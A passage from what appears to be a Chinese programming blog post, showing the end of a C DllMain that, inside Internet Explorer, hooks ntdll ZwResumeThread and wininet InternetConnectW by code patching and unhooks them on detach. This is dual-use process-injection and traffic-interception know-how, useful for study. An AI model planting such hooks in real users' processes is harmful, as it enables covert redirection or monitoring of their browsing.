GetModuleFileNameA(NULL, szCurProc, MAX_PATH);            p = strrchr(szCurProc, '\\');            if( (p != NULL) && !_stricmp(p+1, "iexplore.exe") )            {                DebugLog("DllMain() : current process is [iexplore.exe]\n");                // 勾取wininet!InternetConnectW() API  之前                // 预先加载wininet.dll (为了防止其可能未被加载的情况)                if( NULL == LoadLibrary(L"wininet.dll") )                {                    DebugLog("DllMain() : LoadLibrary() failed!!! [%d]\n",                             GetLastError());                }            }            // hook            hook_by_code("ntdll.dll", "ZwResumeThread",                          (PROC)NewZwResumeThread, g_pZWRT);            hook_by_code("wininet.dll", "InternetConnectW",                          (PROC)NewInternetConnectW, g_pICW);            break;        case DLL_PROCESS_DETACH :            DebugLog("DllMain() : DLL_PROCESS_DETACH\n");            // unhook            unhook_by_code("ntdll.dll", "ZwResumeThread",                            g_pZWRT);            unhook_by_code("wininet.dll", "InternetConnectW",                            g_pICW);            break;    }    return TRUE;}

正儿八经的收工!

1 0
原创粉丝点击